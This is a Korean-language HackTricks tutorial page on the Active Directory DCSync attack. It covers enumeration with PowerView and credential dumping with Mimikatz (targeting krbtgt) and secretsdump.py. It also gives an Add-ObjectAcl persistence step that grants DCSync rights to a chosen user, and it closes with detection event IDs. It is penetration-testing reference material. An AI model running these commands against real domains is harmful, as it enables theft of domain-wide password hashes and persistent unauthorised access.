DCSync

Trickest를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요. 지금 액세스하세요:

HackTricks 지원하기

DCSync

DCSync 권한은 도메인 자체에 대해 다음 권한을 갖는 것을 의미합니다: DS-Replication-Get-Changes, Replicating Directory Changes AllReplicating Directory Changes In Filtered Set.

DCSync에 대한 중요 사항:

  • DCSync 공격은 도메인 컨트롤러의 동작을 시뮬레이션하고 다른 도메인 컨트롤러에 정보를 복제하도록 요청합니다. 이는 디렉터리 복제 서비스 원격 프로토콜(MS-DRSR)을 사용합니다. MS-DRSR은 Active Directory의 유효하고 필요한 기능이므로 끄거나 비활성화할 수 없습니다.

  • 기본적으로 도메인 관리자, 엔터프라이즈 관리자, 관리자 및 도메인 컨트롤러 그룹만이 필요한 권한을 가지고 있습니다.

  • reversible encryption으로 저장된 계정 비밀번호가 있는 경우, Mimikatz에서 비밀번호를 평문으로 반환하는 옵션이 제공됩니다.

Enumeration

powerview를 사용하여 이러한 권한을 가진 사람을 확인하세요:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

로컬에서 악용하기

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

원격으로 악용하기

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking

-just-dc는 3개의 파일을 생성합니다:

  • 하나는 NTLM 해시

  • 하나는 Kerberos 키

  • 하나는 가역 암호화가 활성화된 모든 계정의 NTDS에서 평문 비밀번호입니다. 가역 암호화가 활성화된 사용자를 얻으려면

Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

지속성

도메인 관리자라면 powerview의 도움으로 이 권한을 모든 사용자에게 부여할 수 있습니다:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

그런 다음, (출력의 "ObjectType" 필드 안에서 권한의 이름을 볼 수 있어야 함) 3개의 권한이 사용자에게 올바르게 할당되었는지 확인할 수 있습니다:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

완화

  • 보안 이벤트 ID 4662 (객체에 대한 감사 정책이 활성화되어야 함) – 객체에 대한 작업이 수행되었습니다.

  • 보안 이벤트 ID 5136 (객체에 대한 감사 정책이 활성화되어야 함) – 디렉터리 서비스 객체가 수정되었습니다.

  • 보안 이벤트 ID 4670 (객체에 대한 감사 정책이 활성화되어야 함) – 객체의 권한이 변경되었습니다.

  • AD ACL 스캐너 - ACL의 생성 및 비교 보고서를 생성합니다. https://github.com/canix1/ADACLScanner

참고문헌

HackTricks 지원하기

Trickest를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요. 오늘 바로 접근하세요:

Last updated